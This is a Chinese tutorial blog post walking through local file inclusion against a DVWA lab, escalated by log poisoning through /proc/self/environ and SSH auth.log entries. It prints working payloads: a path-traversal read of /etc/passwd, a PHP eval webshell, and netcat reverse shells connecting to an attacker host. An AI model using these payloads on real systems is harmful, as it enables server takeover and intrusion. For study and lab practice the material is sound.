• 文件包含之日志中毒(User-Agent)


    目录

    一、本地文件包含

    二、日志中毒

    获取反弹shell获得目标服务器的完全控制权

    方法一:

    方法二:/var/log/auth.log


    一、本地文件包含

      本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell。

    看见?page=标志性注入点,提示我们输入?=page=index.php

    通过报错,我们可以知道当前文件包含的目录路径是/var/www/dvwa/vulnerabilities/fi/

    我们可以通过../../../../../etc/passwd 试一下能不能显示默认用户账户密码

    发现可以访问。所以存在本地文件包含漏洞(LFI),你可以通过这种方法访问一些密码、敏感信息文件。

    二、日志中毒

    如何利用LFI漏洞获得反弹shell,完全控制目标主机?

      通过注入恶意代码到可读的文件中,然后浏览它使恶意代码被执行,比如

      /proc/self/environ

      /var/log/auth.log

      /var/log/apache2/access.log

      通常使用日志文件完成,因为本地文件通常会注册或写入日志文件。

    举个栗子:

      打开burpsuite,开启代理。浏览器访问下面url抓取http包

      http://192.168.164.129/dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ

    发现会执行代理,那我们把包修改为php代码后转发试试。 

    修改完成,转发试试结果: 

    可以发现php代码被执行了。所以我们就可以将payload换成webshell.php中的php代码从而获得webshell。

    比如注入一句话木马

    <?php @eval($_POST['pass']);?>

    然后通过蚁剑连接。

    获取反弹shell获得目标服务器的完全控制权

    方法一:

    本次换个方式,从文件上传那篇知道passthru("")函数是PHP执行系统命令的,这里使用netcat执行监听端口命令

    构造payload为 <?passthru("nc -e /bin/sh 192.168.164.128 8888");?>

    然后在kali上开启监听。

    Forward改好的包结果如下:

    成功控制目标主机。 

    方法二:/var/log/auth.log

      访问日志文件

      发现22端口是开启的,我们可以尝试用ssh登入看是否会被记录在日志文件中 

    以random账户登入,随便输给密码。然后刷新浏览器页面找到random,发现已经记录到了日志文件。 

    这说明,ssh后面的命令执行了,我们只要把命令替换成反弹shell的payload就ok了。

    构造payload为 <?passthru('nc -e /bin/sh 192.168.164.128 8888');?>

    开启监听,同时ssh登入。

    这里命令需要进行base64编码,编码结果如下: 

    最后ssh回车车,刷新浏览器页面,执行注入命令反弹shell连接攻击主机。 

    成功控制目标主机。 

  • 相关阅读:
    Python撤销导入的模块
    第十五章 观察者模式
    EF7创建模型继承映射篇
    STM32CubeMx配置串口(HAL库开发)
    学生个人单页面网页作业 学生网页设计成品 静态HTML网页单页制作 dreamweaver网页设计与制作代码 web前端期末大作业
    【无标题】
    数据结构复盘——第二章:线性表
    配置haproxy负载均衡http
    《联邦学习实战—杨强》之使用Python从零开始实现一个简单的横向联邦学习模型
    扬尘监测:智能化解决方案让生活更美好
  • 原文地址:https://blog.csdn.net/u012206617/article/details/125498884